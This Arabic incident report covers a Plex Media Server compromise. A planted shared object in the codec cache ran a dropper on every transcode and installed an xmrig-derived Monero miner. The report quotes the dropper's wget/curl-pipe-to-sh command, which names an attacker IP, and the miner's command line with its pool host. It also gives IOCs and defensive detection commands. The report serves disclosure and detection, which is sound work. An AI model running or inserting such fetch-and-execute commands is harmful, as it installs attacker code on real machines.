
كتابة تقرير حادثة: ملف .so غير موقّع في ذاكرة التخزين المؤقت للترميز في Plex Media Server ينفّذ dropper عند كل عملية transcode (CVE-2026-96656) — مؤشرات الاختراق (IOCs)، STIX، YARA
.so غير موقّع مزروع في ذاكرة التخزين المؤقت للترميزات في Plex Media Server ينفّذ مُعدّن Monero عند كل عملية ترميزتاريخ الحادث: 2026-10-17 → 2026-10-18 (UTC+02:00)
الثغرة الأمنية: CVE-2026-96656 (CVSS 4.0: 8.6، مُسندة من CISA) — تم إصلاحها في Plex Media Server 1.43.3.10861
المتأثر: Plex Media Server 1.43.2.10687 (Linux، حاوية linuxserver/plex الرسمية)
الحالة: تم احتواؤها؛ لا حاجة لإعادة بناء المضيف (لا يوجد استمرارية على القرص خارج ذاكرة التخزين المؤقت للترميزات)
قام مهاجم لديه وصول إلى خادم Plex بإسقاط كائن مشترك غير موقّع باسم
zz45fbb275.so داخل دليل الترميزات الخاص بالتطبيق — وهو دليل يملؤه Plex
بنفسه ويمرّره إلى كل مُرمِّز عبر FFMPEG_EXTERNAL_LIBS. لا يصدّر الكائن
أي شيء ولا يعلن عن أي تبعيات؛ حمولته بالكامل عبارة عن مُنشئ .init_array
واحد، لذا يُنفَّذ في اللحظة التي يقوم فيها المُرمِّز بـ dlopen() له.
وبالتالي، فإن كل عملية ترميز — سواء بضغط العميل على زر التشغيل، أو مهام إنشاء الصور المصغرة/التحليل الخاصة بالمكتبة — كانت تعيد تشغيل:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
الذي نزّل مُعدّن RandomX مشتقًا من xmrig (x12345) وبدأه ضد
ota.proxystream.st:3333 باستخدام --rig-id plexdocker. لم تكن هناك مهمة cron، ولا وحدة systemd،
ولا تعديل على ملفات rc، ولا ملف ثنائي معدّل: كانت ذاكرة التخزين المؤقت للترميز (codec cache) هي آلية
الاستمرارية. إن قتل المُعدّن وحده يعيد إصابة المضيف عند التشغيل التالي.
| الوقت | الحدث |
|---|---|
| 17 أكتوبر 07:50 | أول جلسة WAN من 45.194.92.222؛ تُصادِق الطلبات بصفة guest، ثم تسجّل مشغّل Companion وتوجّه نقاط النهاية /player/* والوكيل (agent) |
| 17 أكتوبر 17:20 | إنشاء zz45fbb275.so في …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (يتغيّر وقت تعديل الدليل؛ ولا يظهر أي ملف آخر) |
| 17 أكتوبر 17:23 | كتابة /tmp/x12345 (8,350,992 بايت) |
| 17 أكتوبر 17:40 | المُعدّن يعمل: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker، بنحو 127 % من المعالج |
| 18 أكتوبر 10:48 | سلسلة إسقاط (dropper) ثانية أُطلقت بواسطة عملية transcode لاحقة — تُعاد الحمولة عند الطلب |
| 18 أكتوبر 11:14 | الاكتشاف: العثور على عملية التعدين مع PPid يشير إلى PID 1 الخاص بالحاوية |
| 18 أكتوبر 11:20–11:35 | الاحتواء: إزالة ملف .so، وتحديث Plex إلى 1.43.4، وإسقاط وصول WAN إلى 32400 |
كان الخادم متاحًا من الإنترنت (عبر تعيين منفذ UPnP الخاص بـ Plex). تُظهر سجلات Plex
أن المصدر 45.194.92.222 يُصادِق بصفة guest ويُصدر استدعاءات الوكيل في الدقيقة نفسها التي ظهر فيها
ملف .so؛ ويظهر عنوان ثانٍ، 91.92.40.202، أيضًا مع مصادقة guest.
يطابق الوصف العام لـ CVE-2026-96656 هذا الأثر تمامًا:
يسمح Plex Media Server قبل 1.43.3.10861 لمستخدم إداري (admin) بكتابة ملفات عشوائية قد تُنفَّذ عند التحميل. يُضاف التفضيل
TranscoderH264Optionsحرفيًا إلى سلسلة خيارات x264 عند كل عملية transcode. عند بدء التشغيل، تُشغَّل جميع ملفات .so دون فحص للتوقيع أو بت التنفيذ أو الرموز (symbols).
ثمّة نتيجتان جديرتان بالذكر صراحةً:
PR:H). الطلبات المُصادَقة بصفة guest أعلاه
لا تفسّر بحد ذاتها كتابة الملف، لذا يجب اعتبار رمز admin الخاص بالخادم
مخترقًا بغض النظر عن طريقة إرسال الطلب..so في دليل الترميز،
ولهذا فإن مكتبة لا تفعل شيئًا بسطر بناء (constructor) واحد تُعدّ حمولة كاملة.لم نلتقط الطلب المحدد الذي كتب الملف — فالإسقاط مُثبَت
بأوقات نظام الملفات وسلسلة التنفيذ، لا بالتقاط حزم. وقد وُجد التفضيل
TranscoderH264Options على المضيف المتأثر فارغًا لاحقًا،
لذا فإن القيمة المستخدمة لكتابة الملف إمّا أُعيد ضبطها أو كُتب فوقها؛ وهذا هو الجزء الوحيد
من السلسلة الذي لا يمكننا إعادة بنائه بعد وقوعه.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
نظرًا لأن المُنشئ (constructor) يعمل عند التحميل، لا يحتاج الكائن إلى تنفيذ أي واجهة برمجية (API) للترميز. كل ما يحتاجه هو أن يكون في دليل يقوم المُرمِّز (transcoder) بتحميل المكتبات منه.
تفاصيل الموضع التي تستحق الكشف عند:
lib*.so؛ فكل ملف شرعي في دليل الترميز يحمل هذا الاسم (libh264_decoder.so، libhevc_decoder.so، …). من المحتمل أن zz اختير ليُرتَّب أخيرًا.Codecs/<set-id>-linux-x86_64/) يُكتب عادةً فقط بواسطة تنزيل الترميز الخاص بـ Plex، وجميع ملفاته تحمل بادئة lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder هو الكائن الآخر الوحيد غير الحامل لبادئة lib الذي ينتمي إلى تلك الشجرة.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker هي علامة مشغّل ثابتة — مفيدة لعمليات البحث المحورية في بيانات التدفق وقياسات التجمّع (pool telemetry). وُجدت العملية في الحالة T (متوقفة) وهي تحتجز ~2.3 GB من RSS: التوقف ليس غير ضار، فهي تستأنف وتواصل التجزئة (hashing).
أشار PPid إلى PID 1 الخاص بالحاوية (s6-svscan) لأن العملية الأب الحقيقية كانت قد خرجت بالفعل — إعادة تعيين الأب (reparenting)، وليس إشرافًا. لم يكن المشغّل الفعلي مرئيًا إلا عبر socketpair المشترك: فقد أدرج ss -xp سلسلة sh/wget، وPlex Transcoder، وخدمة الموالف (tuner)، وخادم Plex على نفس زوج المقابس (socket pair)، وأظهر تتبّع أبناء Plex Transcoder الحيّ أن أداة الإسقاط (dropper) هي ابنه. كان المحفّز هو عملية التحويل (transcode) نفسها.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
أي نتيجة ليست EasyAudioEncoder تُعد مشبوهة. كذلك أبلِغ عن أي دليل codec تغيّر وقت تعديله (mtime) دون إضافة ملف lib*.so مقابل.
تحقّق من التفضيل الذي يستغله CVE-2026-96656 للكتابة التعسفية للملفات:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
قيمة غير فارغة تستحق القراءة — تُضاف حرفيًا إلى سلسلة خيارات x264 في كل عملية تحويل، وأي شيء على شكل اسم ملف بداخلها ينتهي مكتوبًا على القرص. على المضيف هنا كانت فارغة بعد الحادث، لذا فإن الغياب ليس دليلًا على الغياب: اربطه بـ mtime الخاص بالملف.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f مع النمط المجرد سيقتل الصدفة التي تشغّله (النمط جزء من سطر أوامر تلك الصدفة) — استخدم الصيغة بين الأقواس أو اقتل بواسطة PID.
ابحث عن مصادقة ضيف من عنوان WAN يتبعها نشاط agent/companion، مع ظهور ملف جديد في دليل codec في الدقيقة نفسها:
Auth: authenticating user as guest
Request: [<wan-ip>:<port> (WAN)] GET /identity
Request: [<wan-ip>:<port> (WAN)] GET /player/proxy/poll …
Request: [127.0.0.1:<port> (Loopback)] POST /system/agents/z/searchOne …
yara/plex_codec_implant.yar — ثلاث قواعد: كائن الإسقاط المكوَّن من المُنشئ فقط، وبناء
xmrig المستخدم هنا، وقاعدة عامة لـ xmrig المُعاد تسميته. جميعها مبنية على السلاسل النصية/ELF؛ لا
حاجة إلى عينة لتشغيلها.